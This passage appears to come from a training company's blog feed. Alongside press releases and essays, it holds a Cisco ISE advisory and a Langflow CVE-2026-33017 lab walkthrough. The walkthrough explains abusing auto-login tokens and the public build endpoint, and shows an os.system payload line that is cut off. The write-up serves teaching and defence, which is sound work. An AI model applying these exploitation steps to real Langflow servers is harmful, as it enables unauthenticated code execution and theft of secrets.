patched client rejecting the same chain. The most important operational lesson is simple: encryption can remain mathematically sound while authentication fails because the client's trust state is stale. A root-program response protects only the clients that receive and enforce it. Incident response is complete only after the exact verifier making the real application connection has loaded a trust policy that rejects the compromised authority.ReferencesMozilla Bug 2083449: eMudhra private-key compromiseMozilla and Chrome root-program response threadeMudhra certificate-security incident statementCommunity incident explainer and client-remediation trackerPublished affected-intermediate inventoryGoogle Paranoid Crypto
INE Expands Network Automation Training With Infrastructure as Code Learning Path for Cisco Engineers
Hands-on training helps network engineers build real skills in Python, APIs, Ansible, GitOps, Terraform, Network-as-Code, and moreCARY, N.C., October 23, 2026 — INE, a global provider of hands-on networking, cybersecurity, and IT training, today announced an expanded Infrastructure as Code (IaC) for Cisco Engineers learning path. The path helps network professionals move past device-by-device admin work. It also helps them build the automation skills they now need to manage infrastructure at scale.Infrastructure as Code is changing how networking teams handle configuration, deployment, and the full life cycle of their infrastructure. Manual changes can cause configuration drift within the infrastructure and make the environment hard to rebuild. With IaC, engineers define, manage, and test infrastructure through repeatable workflows.The training is led by INE instructor Rohit Pardasani, who has over 20 years of experience in designing, deploying and managing network infrastructure at scale. It builds both core and production-level skills across Python, API integration, rendering pipelines, Ansible, GitOps, CI/CD, Terraform, and Cisco Network-as-Code. Learners start by building an Infrastructure as Code mindset, and key ideas such as the desired state and convergence. This helps create automation workflows for real infrastructure.“Network automation isn’t about writing a few scripts to save time anymore,” said Pardasani. “Engineers need to think about infrastructure as a system: how changes are defined, tested, validated, deployed, and maintained over time. Infrastructure as Code gives network engineers a way to do that consistently and at scale.”The learning path focuses on practical engineering skills, including version control, state management, service abstraction, configuration rendering, API resilience, automated validation, and production-ready workflows.These skills matter more as networking, cloud, security, and software practices come together. Changes that engineers once made by hand now often run through automated pipelines. That makes Python, Git-based workflows, and declarative infrastructure management useful for network engineers, not just DevOps teams.For organizations, this shift leads to more consistent changes, better visibility into operations, and a measurable reduction in human errors . Engineers who understand both the network and the automation that controls it are infinitely better at troubleshooting failures and reviewing proposed changes. They’re also better at stopping automation from simply repeating mistakes faster.The Infrastructure as Code for Cisco Engineers learning path is available to INE Premium and Enterprise learners. It also includes hands-on labs where professionals can apply these automation concepts in real network environments.About INEINE is the premier provider of online networking, cybersecurity, cloud, and IT training and certifications. Through hands-on labs, expert instruction, and enterprise-ready learning solutions, INE helps individuals and organizations develop the technical skills needed to secure today’s increasingly complex digital environments. Serving Fortune 500 companies, government agencies, and IT professionals worldwide, INE is committed to building workforce readiness through practical, real-world training.
INE Wins SourceForge Fall 2026 Leader Award
User ratings place INE among elite technical training providers on leading software review platform.CARY, N.C., October 15, 2026 — INE, a global provider of cybersecurity, networking, cloud and IT training, today announced it has received the SourceForge Fall 2026 Leader Award. The recognition reflects praise from users who have reviewed INE on the software review and comparison platform.In its award notification, SourceForge recognized INE as a Fall 2026 category leader, a distinction reserved for select products that have earned exceptional praise through user reviews. To qualify, winners must receive enough recent, highly rated reviews to rank among the top 5% of favorably reviewed products on SourceForge, whose business software directory includes more than 100,000 products.INE combines expert-led instruction, hands-on labs, skills assessments and certification preparation to help technical teams build practical capabilities. Through its enterprise platform, managers can monitor learning progress, lab usage and assessment performance to guide training priorities and identify areas for development.The SourceForge award follows INE’s G2 Fall 2026 recognition, which included Enterprise Leader, Momentum Leader and Easiest Admin distinctions. Together, these recognitions highlight customer feedback across multiple review platforms. Organizations can explore INE’s enterprise training solutions and read customer feedback on INE’s SourceForge profile.About INEINE is the premier provider of online networking, cybersecurity, cloud, and IT training and certifications. Through hands-on labs, expert instruction, and enterprise-ready learning solutions, INE helps individuals and organizations develop the technical skills needed to secure today’s increasingly complex digital environments. Serving Fortune 500 companies, government agencies, and IT professionals worldwide, INE is committed to building workforce readiness through practical, real-world training.
Why Identity and Access Management Is a Core Cybersecurity Skill
IAM has a funny problem: people often notice it most when something breaks.A contractor can still reach a system after the engagement ends. A service account has permissions nobody remembers approving. A user is locked out of one application but not another. During an incident, the security team is suddenly piecing together authentication logs, group membership, and cloud permissions to understand what happened.
IAM sits underneath all of those situations. At its simplest, it answers three questions: who are you, what can you access, and should you still have that access?Those answers have become more complicated as organizations spread across cloud platforms, SaaS applications, remote workforces, APIs, and automated workloads. As a result, identity now connects work that used to live in separate corners of IT.
Access Follows the IdentityNetwork location once carried a lot of trust. Today, the same employee may move between a corporate laptop, a cloud console, a SaaS application, and a customer environment before lunch.Good access decisions have to travel with that person. They also have to account for device state, privilege, context, and policy. This is where IAM and Zero Trust meet in practice—not as slogans, but as the mechanics of deciding whether a request should be allowed.For practitioners, the useful skills are concrete: understanding authentication and federation, tracing authorization, recognizing excessive privilege, and troubleshooting access when the expected flow breaks.
Identity Systems Deserve the Same Security Attention as Other Critical InfrastructureThe recent disclosure of CVE-2026-76460 makes the point clearly. The vulnerability affects Cisco Identity Services Engine, used for network access control and identity-based policy enforcement. Cisco assigned it a CVSS score of 10.0 and confirmed active exploitation.Our companion analysis covers the technical details. From an IAM perspective, the interesting part is the position of trust these systems occupy. If the technology deciding who gets access is compromised, an attacker may be able to use pathways intended for legitimate users rather than attack each control individually.IAM belongs in architecture reviews and incident response for the same reason firewalls, endpoints, and cloud controls do: it influences what the rest of the environment will trust.
IAM Is Shared WorkIdentity incidents rarely stay with one team. A SOC analyst may spot suspicious authentication, while an IAM administrator traces the account. A cloud engineer checks permissions, and a network engineer reviews policy. Governance may need to show when access was granted and whether it was reviewed.
Nobody in that chain needs to know everything about IAM; however, they do need enough common ground to work from the same facts.
I would expect a technical team to be comfortable with identity lifecycle management, SSO and federation, MFA, authorization models, privileged access, service identities, and IAM logging. More importantly, they should be able to connect those ideas when something does not behave as expected.That shared understanding matters long before an incident, too. Routine changes are where IAM either stays healthy or quietly accumulates risk. A new employee needs the right access on day one without inheriting more than the role requires. A transfer should trigger a review instead of simply adding permissions on top of old ones. When someone leaves, access should disappear everywhere it is supposed to—not just from the primary directory. Those workflows sound ordinary, but they are where privilege creep, orphaned accounts, and weak ownership often begin.
Knowing the Acronyms Is Only the Starting PointSAML, OAuth, OIDC, RBAC, ABAC, PAM—the terminology can make IAM feel more theoretical than it is.
The practical questions are much easier to recognize. Why did this user get access? Where did this privilege come from? Why did federation fail? Which log would show whether an authentication event was legitimate? What happens to access when someone changes roles or leaves?Those questions shaped INE's Identity & Access Management Associate (eIAMA) learning path and certification. The training is vendor-neutral because real environments rarely depend on a single identity platform. The focus is on skills that transfer: lifecycle, authentication, federation, authorization, privileged access, monitoring, incident response, governance, and audit readiness.A product interface will change. The underlying access problem usually will not.For anyone working in security, cloud, networking, or infrastructure, IAM is becoming difficult to treat as somebody else's specialty. It’s part of the environment, and increasingly part of the job.
FAQWhat is identity and access management?IAM is the combination of technologies, policies, and operational processes used to manage digital identities and control access to systems, applications, and data.Why is IAM important to cybersecurity?IAM governs who and what can reach organizational resources. Weak authentication, excessive privilege, poor lifecycle management, or compromised identity infrastructure can create direct paths to unauthorized access.Is IAM only for identity administrators?No. Security engineers, SOC analysts, cloud administrators, systems administrators, network professionals, and governance teams all work with identity-related controls and data.What does eIAMA cover?INE's eIAMA learning path covers practical, vendor-neutral IAM skills across lifecycle management, authentication, federation, authorization, privileged access, service identities, monitoring, incident response, governance, and audit readiness.
CVE-2026-76460: Critical Cisco ISE Authentication Bypass Under Active Exploitation
Cisco has disclosed a critical authentication bypass vulnerability in Cisco Identity Services Engine (ISE) that organizations should treat as an immediate remediation priority.
Tracked as CVE-2026-76460, the vulnerability carries a CVSS 3.1 score of 10.0 and is already being actively exploited. The flaw affects both Cisco Identity Services Engine and Cisco ISE Passive Identity Connector (ISE-PIC), regardless of device configuration.For security and network teams, the risk is significant because ISE commonly sits at the center of Network Access Control (NAC) and identity-based access decisions. A compromise of that management plane can give an attacker considerably more than ordinary application access.What Is CVE-2026-76460?CVE-2026-76460 is an authentication bypass vulnerability in a Cisco ISE API.According to Cisco, the flaw results from insufficient authentication controls on an API endpoint. An unauthenticated remote attacker can send a specially crafted request to the vulnerable endpoint and bypass the web-based management interface's authentication controls.The CVSS vector is:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HIn practical terms, exploitation can be performed remotely over the network, requires no existing privileges, requires no user interaction, has low attack complexity, and can result in high impact to confidentiality, integrity, and availability.More importantly, Cisco states that successful exploitation may allow threat actors to obtain command execution with root privileges.That last point changes the incident-response calculation. Organizations should not treat this solely as an authentication issue. A successfully compromised node may need to be considered fully controlled by the attacker.Which Cisco ISE Versions Are Affected?Cisco states that the vulnerability affects Cisco ISE and ISE-PIC regardless of device configuration. Customers should update to at least the following fixed releases:3.1 → 3.1 Patch 123.2 → 3.2 Patch 113.3 → 3.3 Patch 123.4 → 3.4 Patch 73.5 → 3.5 Patch 4Cisco ISE 3.0 has reached the end of software maintenance, and Cisco advises customers still running it to migrate to a supported release containing the fix.There is no workaround that fixes the vulnerability. Cisco does, however, recommend infrastructure access control lists, or iACLs, as a temporary mitigation to restrict management and control-plane traffic reaching affected systems.Active Exploitation Raises the PriorityThis is not just a theoretical vulnerability waiting for proof-of-concept code, as Cisco PSIRT has confirmed active exploitation of CVE-2026-76460 and says the vulnerability was discovered while resolving a Cisco Technical Assistance Center support case.That means organizations should treat patching and compromise assessment as parallel activities. Updating a vulnerable appliance closes the vulnerability, but it does not establish that the appliance was never compromised before the update.How Defenders Should Investigate Cisco ISECisco recommends reviewing ise-kong/access.log for suspicious usernames and performing the check on every node in a distributed ISE deployment. Additional API gateway access logs can also be collected through a support bundle.Defenders should also review telemetry outside the appliance, including firewall and network logs, for activity such as unexpected uploads to external IP addresses or downloads from suspicious infrastructure.That external visibility matters because root-level access gives an attacker the ability to alter or remove evidence stored on the compromised system.Cisco goes further: when malicious activity is suspected, the company recommends re-imaging affected nodes and restoring configuration from backup as necessary rather than assuming local cleanup is sufficient.A practical response sequence is:Identify every Cisco ISE and ISE-PIC node and its current software version.Upgrade vulnerable systems to Cisco's fixed releases.Restrict management-plane exposure with appropriate infrastructure ACLs.Review access logs across every node for suspicious authentication activity.Correlate ISE activity with firewall and other external network telemetry.If compromise is suspected, preserve evidence and follow Cisco's guidance to re-image affected nodes.The Broader Lesson: Identity Infrastructure Is Security InfrastructureCVE-2026-76460 is another reminder that identity systems cannot be treated as administrative plumbing.Authentication, Authorization, & Accounting (AAA), privileged access, Network Access Control, and identity policy increasingly determine what users and systems can reach across an enterprise. Compromising the infrastructure enforcing those decisions can undermine controls far beyond a single application.That makes identity security a shared responsibility across networking, security engineering, IAM, and incident-response teams. INE's Certified Identity & Access Management Associate (eIAMA) addresses practical IAM skills across authentication, authorization, privileged access, monitoring, governance, and identity architecture. INE also provides hands-on cybersecurity training and networking training for teams responsible for securing the infrastructure connecting identities to enterprise resources.For CVE-2026-76460 specifically, however, the immediate priority is straightforward: inventory, patch, investigate, and do not assume patching alone rules out prior compromise.FAQIs CVE-2026-76460 being actively exploited?Yes. Cisco PSIRT confirmed active exploitation as of its September 16, 2026 advisory.Does CVE-2026-76460 require authentication?No. Cisco describes the vulnerability as remotely exploitable by an unauthenticated attacker.Is there a workaround?No complete workaround is available. Cisco recommends restricting management and control-plane access with infrastructure ACLs as a temporary mitigation while affected systems are upgraded.Can exploitation lead to root access?Cisco states that successful exploitation may allow attackers to obtain command execution with root privileges.
Pursuing the Unknown: How to Build a Structured & Repeatable Learning Model
This coming January will mark the 25th anniversary of me obtaining my first Cisco Certified Internetwork Expert (CCIE) in Routing and Switching (now known as Enterprise Infrastructure). Over the course of my career, I’ve seen lots of new technologies and solutions come and go, but one thing has always remained the same: change.The IT industry is constantly changing. To remain relevant, you always need to be learning and expanding your knowledge base. In my case, this meant learning new topics deeply enough that I could turn around and explain them more plainly to students in my courses—from Enterprise Switching, to Service Provider Routing, to Data Center Fabrics. Learning a lot of these new technologies looked like an insurmountable task when I knew very little about them. By the end of my learning process, though, I would often find myself looking back and realizing that the technology wasn't necessarily more difficult than anything else I've learned throughout my career. Instead, it was simply unfamiliar. Over time, I realized I was approaching each new technology in roughly the same way. What started as an informal process eventually developed into a repeatable learning model that I still use today.How Do You Eat an Elephant?There’s an old saying that there is only one way to eat an elephant: one bite at a time. Learning works the same way. Rather than overwhelming myself by reading an entire book end to end, or trying to understand every detail of a new technology all at once, I take a small, modular approach, where each step builds on the one before it. The core of this learning model is a four-step process:Start by understanding why the technology existsBuild something simple Go back and learn the deeper detailsReturn to the lab and explore the advanced implementationThe end result is a repeatable system for approaching subjects that initially seem overwhelming.Step 1: Understand Why the Technology ExistsThe first step is to get a basic understanding of the technology. At this point, I’m not trying to learn how it’s implemented. I’m trying to understand why it exists.What problems was this technology designed to solve? What limitations existed in previous solutions? Why is this a better or different approach?For example, when learning how modern Data Center Fabrics work, I needed to understand why there were limitations in Classical Ethernet Switching. Why did Spanning Tree Protocol (STP) result in active/standby forwarding instead of active/active? It’s because of the inherent problems that Layer 2 bridging loops can create. Once I understood those limitations, I had context for why newer Data Center architectures evolved the way they did.Before I start worrying about all the configuration details, I want to understand the problem we’re trying to solve.Step 2: Build the Simplest Working ImplementationThe second step is to get a basic hands-on understanding of how the technology works.This is where I start experimenting with lab scenarios, looking at the most basic functionality of the technology without any of the advanced features or bells and whistles. I want to know the minimum configuration required to get the technology functional.Along with learning this basic implementation, I want to learn how to verify that it’s actually working the way it’s supposed to. For a network device, this might mean learning the relevant show commands, debug commands, packet captures, or other forms of verification.For Data Center Fabrics, this meant learning how to build a basic VXLAN Flood-and-Learn network before jumping into BGP EVPN. Once I saw this config functioning, it made more sense what the scaling limitations of this design were, and why using BGP for the VXLAN control-plane would be a better solution.By the time I complete the first two steps, I have a basic understanding of the purpose of the technology, the problems it’s designed to solve compared to previous solutions, and how I can implement and verify a basic version of it in a live environment. That foundation makes the next step much easier.Step 3: Go Back and Learn the DetailsNow I go back through the learning process again, but at a much deeper level. This is where I spend more time reading detailed documentation, watching technical presentations, referencing RFCs, and studying how advanced implementations of the technology work.In the case of Data Center Fabrics, this meant moving beyond the basic operation of a single fabric and studying how multi-site designs work, and how to connect multiple data centers over a Data Center Interconnect.The important difference is that I’m no longer reading the material without context. I already understand the basic problem. I’ve already configured the technology, seen it work, and know some of the basic terminology and verification commands.Now I have the foundation I need to build that advanced understanding. Instead of trying to absorb hundreds of pages of documentation at the beginning, I can connect each new detail to something I already understand.Step 4: Learn the Advanced ImplementationThe final step is to return to the hands-on implementation and start exploring the advanced functionality. This is where I want to understand all the different "nerd knobs" I can control when configuring the technology. More importantly, I want to understand why those options exist and what problems they’re designed to solve.For a Data Center Fabric, this could mean understanding how ARP suppression works, or how BUM traffic—Broadcast, Unknown Unicast, and Multicast—needs to be handled differently across a routed fabric as opposed to a classical Ethernet network (where a true broadcast domain natively exists).At this point, the goal isn’t to simply know which commands enable a feature. I want to understand exactly what changes when I enable it, why that behavior is desirable, and how I can prove that the technology is actually behaving the way I think it should.Understanding Instead of MemorizingThis repetition – starting with a small piece of the puzzle and slowly expanding the depth of your knowledge – allows you to move beyond memorization and retain information long-term.This is the opposite of what I've seen many people try when learning advanced technologies. They often start by trying to memorize all the configuration steps needed to make the solution work. The problem with that approach becomes apparent when something goes wrong.In the real world, you’ll eventually find yourself in an unfamiliar situation where the behavior you're seeing doesn't match your understanding of how the protocol or solution is supposed to work.You might not remember every config command or every possible option, but a fundamental understanding of why something should work a certain way gives you a structured reasoning process for troubleshooting it. You can determine what should be happening, verify what is actually happening, and focus your troubleshooting efforts on understanding the difference.Can You Explain It to Someone Else?In my experience, the best way I can prove that this process is successful is whether I can explain the technology to someone who’s never used it before, and simplify it to a level where it no longer seems intimidating. That’s ultimately how I got into IT training.When studying for my first CCIE, I found myself helping other students and peers in my class. Being able to explain a difficult concept in a way that helped someone else understand it demonstrated that I truly understood the technology myself. That lesson has stayed with me throughout my career.Building Confidence for What Comes NextThe blessing (or maybe the curse) of working in IT is that things are constantly changing. New technologies are introduced, and old technologies are abandoned in favor of new, bright, shiny solutions.The longer you're in this industry, though, the more you realize that things come in cycles. Today's solutions often turn out to be variations of concepts that aren't entirely new, but instead have been recycled, evolved, and repackaged over the years.The challenge when looking at something new is that the amount of depth and detail can seem overwhelming. From the starting point, it can feel like you'll never truly understand how all of it works. By using this modular learning approach, though, you slowly start to chip away at the problem.Start by understanding why the technology exists. Build something simple. Go back and learn the deeper details, then return to the lab and explore the advanced implementation.A few months later, you’ll look back at where you started, and realize how far you've come. More importantly, having a structured and repeatable learning process gives you confidence. You don't need to know what technologies will emerge five or ten years from now. You just need to know that when something new arrives, you have a process for learning it.The goal isn't to memorize everything. It’s to know that whatever comes next, you can understand it – one bite at a time.Continue learning with Brian McGahan through INE’s training, and follow him on LinkedIn for more insights on networking, Cisco technologies, and professional development.
INE Earns G2 Fall 2026 Recognition for Enterprise Leadership, Momentum and Customer Satisfaction
Fall 2026 badges highlight continued customer momentum across enterprise and small-business training, including Easiest Admin, Momentum Leader, Enterprise Leader, Small-Business Leader and Users Love Us recognition.CARY, N.C. — September 17, 2026 — INE, a global provider of hands-on cybersecurity, networking, and IT training, proudly announced new recognition in the G2 Fall 2026 Reports, underscoring continued customer momentum and satisfaction across organization-focused training categories.The Fall results include G2 badges for Momentum Leader, Enterprise Leader, Small-Business Leader, and Easiest Admin distinctions, alongside broader gains across Cybersecurity Professional Development, Technical Skills Development, Online Course Providers, and eLearning Content.“What I value most about INE is its hands-on, lab-driven training that closely aligns with real-world security work, scales across multiple infosec roles, and delivers measurable skill development without adding operational overhead,” said Aditya Malhotra A., Information Security Leader, in a verified G2 review. “The solution scales well in a high-pressure environment and directly improves how my team performs. Additionally, the initial setup of INE was very easy.”For business and technical leaders, the strongest signal is the breadth of those accolades. INE earned Enterprise Leader distinctions across multiple regional reports, as well as Small-Business Leader recognition across multiple markets. The results reflect growing adoption among organizations using INE to build practical cybersecurity and IT capabilities at scale.Among the Fall 2026 highlights:Momentum Leader across all categories (Cybersecurity Professional Development, Technical Skills Development, eLearning Content, and Online Course Providers)Enterprise Leader across multiple regional markets (Europe, EMEA, Asia, Asia Pacific, and India)Small-Business Leader across multiple regional markets (Europe, EMEA, Asia, Asia Pacific, India, and Middle East & Africa)Easiest Admin distinction, reflecting a strong experience for teams managing and deploying training (Enterprise and Small Business)Users Love Us recognition based on verified customer satisfaction“G2 recognition is especially meaningful because it reflects the experiences of the professionals and organizations using INE every day,” said Lindsey Rinehart, CEO of INE. “The Fall results point to the areas that matter most to business customers: customer satisfaction, continued momentum, and the ability to support technical teams across organizations of different sizes and regions. That is the kind of progress we want to keep building.”G2 calculates rankings using verified customer reviews, market presence, and category-specific performance indicators. INE’s Fall 2026 report highlights the company’s continued strength in delivering practical cybersecurity and IT training across enterprise, small-business, and global markets.Organizations looking to build and measure technical skills across their teams can learn more about INE’s enterprise training solutions at https://ine.com/enterprise.
About INEINE is the premier provider of online networking, cybersecurity, cloud, and IT training and certifications. Through hands-on labs, expert instruction, and enterprise-ready learning solutions, INE helps individuals and organizations develop the technical skills needed to secure today’s increasingly complex digital environments. Serving Fortune 500 companies, government agencies, and IT professionals worldwide, INE is committed to building workforce readiness through practical, real-world training.
They Patched the Door but Left the Window Open: Inside Langflow’s CVE-2026-33017
Imagine you are running an AI workflow builder for your team. It hums along quietly in the background, building flows. One quiet afternoon, somewhere on the internet, an automated scanner finds your Langflow instance. Soon after, someone who has never logged in, never entered a password, and never clicked a single button is reading your .env file, harvesting your OpenAI keys, and locating sensitive configuration files and databases.That is not a hypothetical scenario. That is CVE-2026-33017, and it played out in the wild in almost exactly that sequence. This post walks through what the bug is, why it exists, and how a single unauthenticated HTTP request turns into full control of the host. The interesting part is not just the vulnerability itself. It is that the Langflow team had already fixed this exact class of bug once before, and the attackers simply walked around the fix.Vulnerability OverviewCVE Identifier: The vulnerability is tracked as CVE-2026-33017.Affected Product: It affects Langflow, the open-source tool for building and deploying AI-powered agents and workflows.Affected Versions: It affects all Langflow versions prior to 1.9.0, up to and including 1.8.2.Vulnerability Type: It is an unauthenticated remote code execution (RCE) flaw, a code injection reachable over the network with no login.Severity: It carries a CVSS score of 9.3 Critical.Vulnerable Endpoint: The flaw lives in the public flow-build endpoint, POST /api/v1/build_public_tmp/{flow_id}/flowFirst Exploited in the Wild: The first exploitation was observed on March 18, 2026, roughly 20 hours after the advisory went public, as reported by Sysdig’s Threat Research Team.Let us start with what Langflow is, because the “why” of this bug is baked into what the product is built to do.The Setup: A Tool Built to Run Your CodeLangflow is a popular open-source, visual tool for building and deploying AI-powered agents and workflows. You drag components onto a canvas, wire them together, and Langflow runs the resulting graph. One of its headline features is the “custom component”: you can write a Python class that inherits from Langflow’s Component base class right inside a flow, and Langflow will execute it as part of the pipeline.Read that last sentence again, because it is the whole story. One thing Langflow is built to do is take the code you give it and run it. That is a feature, not a bug. The trouble begins the moment the question “whose code, and are they allowed to run it here?” gets the wrong answer.To run your custom component, Langflow does what a lot of dynamic Python tools do under the hood: it takes the code you wrote and feeds it to Python’s built-in exec(), the function that executes a string of Python as if it were part of the program. There is no sandbox, no restricted namespace, and no separate low-privilege process. Whatever you write runs with the full privileges of the Langflow server. For a trusted, authenticated user building their own flows, that is an acceptable trade. For an anonymous stranger on the internet, it is a catastrophe.So the entire security of this feature rests on one thing: making sure only trusted, authenticated people can reach that exec(). Hold that thought.Act One: The First Fix (CVE-2025-3248)This is not Langflow’s first encounter with this problem. Earlier, CVE-2025-3248 (CVSS 9.8) described an unauthenticated RCE that funneled attacker-supplied code into an unsandboxed exec() through an endpoint called POST /api/v1/validate/code. Anyone could hit it, hand over arbitrary code, and have it run.The fix looked reasonable on the surface. The maintainers added an authentication gate to /api/v1/validate/code. Now you needed to be a logged-in user to reach that endpoint. Problem solved, right?Here is the subtle mistake, and it is one worth internalizing as a defender. The fix protected that one endpoint, but nobody audited the other endpoints that also let user input reach exec(). That exec() sat deep in Langflow’s code, still unsandboxed, still perfectly happy to run anything that reached it, by whatever path. The patch locked one door into the room. It did nothing about the fact that the room still contained a loaded weapon, and a building with a loaded weapon in it needs more than one locked door to be safe. There were other ways in.The official advisory for CVE-2026-33017 is careful to call this a distinct vulnerability rather than a straight patch bypass: the earlier bug was missing auth on a code-validation endpoint, while this one is an endpoint that is unauthenticated by design and mistakenly accepts attacker-controlled executable code through its data parameter. Fair enough. But from a defender’s chair, the shared thread is unmistakable and it is the whole lesson of this CVE: both bugs end with untrusted code hitting an unsandboxed exec(). The two just take different routes to get there, and locking one route left the other wide open.Act Two: Finding the WindowNow think like an attacker. You know Langflow can run arbitrary code somewhere inside itself. You know one route to it got locked. The natural next question is: what other routes touch that same code path?Langflow has an endpoint designed to let anonymous users build “public” flows, the kind you might share with people who do not have accounts. It is called:POST /api/v1/build_public_tmp/{flow_id}/flowThe word “public” is doing a lot of load-bearing work here. This endpoint is unauthenticated on purpose. It was built to be reachable without logging in. And critically, it accepts a data parameter: a full flow definition, supplied by the caller, that Langflow then builds.Do you see it? To build a flow, Langflow turns each component in the graph into a running object, and for a custom component that means compiling and executing the code in its definition. When you send the optional data parameter, Langflow builds your submitted flow instead of the stored one. So an attacker overrides the flow’s contents with a definition full of malicious component code, and Langflow runs it. No account required, because the endpoint never wanted one.The first fix gated /validate/code. Nobody gated build_public_tmp, because on the surface it was just “build a public flow,” an innocent-sounding feature. But it led to an unsandboxed exec() just the same. The attacker did not pick the lock on the patched door. They strolled in through a window that was never locked in the first place.How It Actually Works: Walking the CodeLet us make this concrete and look at the two ends of the chain in the actual source: the endpoint the request hits, and the exec() it eventually reaches. The relevant files are in the Langflow repository, and the line numbers below are against tag 1.7.3, a vulnerable version.Where it starts: the unauthenticated endpointFile: src/backend/base/langflow/api/v1/chat.pyThe route and its handler start at line 581:@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
...
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # attacker-controlled flow definition
...
):Start with the fact that this endpoint takes no authenticated user. That is not the bug. It is intentional, and the docstring says so outright: “This endpoint is specifically for public flows that don’t require authentication.” A public endpoint that anyone can reach is a perfectly reasonable thing to have. The catch is what such an endpoint is allowed to do, and this is where the design goes wrong.Look at the data parameter. Its type is FlowDataRequest, the caller’s full flow definition, which per the advisory can carry “arbitrary Python code in node definitions.” The endpoint was meant to serve an existing flow that has been marked public in the database. Instead it happily accepts and builds a flow body handed to it by whoever is calling. So an unauthenticated, public endpoint, exactly as designed, ends up building and running a flow that the caller supplied. Public access was fine. Public access to arbitrary submitted code is the vulnerability.Where it ends: the exec() sinkFile: src/lfx/src/lfx/custom/validate.pyDeep in the custom-component machinery, in the function prepare_global_scope() (defined at line 323, with its exec() at line 397), sits the sink:...
exec(compiled_code, exec_globals) # attacker's code runs here, no sandbox
...That is the loaded weapon from Act One. This file is the code-execution heart of Langflow’s custom components. It does not run in a sandbox, a restricted namespace, or a separate low-privilege process. Whatever code reaches it runs with the full authority of the Langflow process.And here is the detail that makes it worse than it first looks. When Langflow builds the graph, it calls prepare_global_scope(), which uses exec() to compile and run module-level code from the component definitions. Module-level Assign statements in the supplied code execute immediately at build time, before the flow even runs. Simply getting Langflow to build the graph is enough to run their code.Put the whole attack in a sentence: an attacker embeds a component whose code runs a shell command (through subprocess, os.system, or similar) inside the data they submit, and POSTs it to the public endpoint. Langflow builds the graph, hits exec(), and the attacker’s command runs on the server.The Lab: Exploiting It YourselfReading about a vulnerability is one thing. Popping a shell with it is another. Here is a walkthrough of exploiting CVE-2026-33017 end-to-end in a lab environment, from a Kali box to code execution on the target.The EnvironmentThe lab target runs the vulnerable Langflow release, version 1.7.3, reachable from a Kali attack box at:http://demo.ine.local:7860Step 1: Confirm the target is aliveping -c 4 demo.ine.localStep 2: Confirm the relevant port is opennmap -p- demo.ine.localPort 7860 is the default port used by Langflow.Step 3: Load the dashboardhttp://demo.ine.local:7860The dashboard loads straight in, no login screen, confirming LANGFLOW_AUTO_LOGIN is active on this target (which is the default).Step 4: Preparing the exploitThere are multiple exploit scripts available publicly for this CVE by now; disclosure was followed quickly by several independent proof-of-concept releases. For this lab, we will use the PoC available here.Strictly speaking, the only thing an attacker needs going in is the UUID of a flow on the target that is already marked public. In the real world, those are not hard to come by; public flow links get shared around exactly like any other shareable chatbot link. And on a target where AUTO_LOGIN is left at its default of true, as it is here, an attacker does not even need that: they can hit /api/v1/auto_login, get a token, and mint their own public flow on the spot. No prerequisite survives that setting.Here is what the script actually does, and notice it needs nothing handed to it up front. Given just a target URL, it:Calls /api/v1/auto_login itself and pulls an access token straight out of the response. No credentials, because LANGFLOW_AUTO_LOGIN hands one to anybody who asks.Looks for an existing flow with access_type set to PUBLIC. If it finds one, it reuses it. If not, it creates one itself and marks it public, no --flow-id argument required unless you want to target a specific one.Builds the malicious payload: a CustomComponent node whose code field is ordinary-looking Python, ending in one line that matters, a module-level assignment: _r = __import__('os').system(
Globally Trusted Workforce Development and Industry Certifications
Have a question?
We’re here to help!
Whether you’d like more information on our training materials or are interested in a free demo, please contact us at any time.
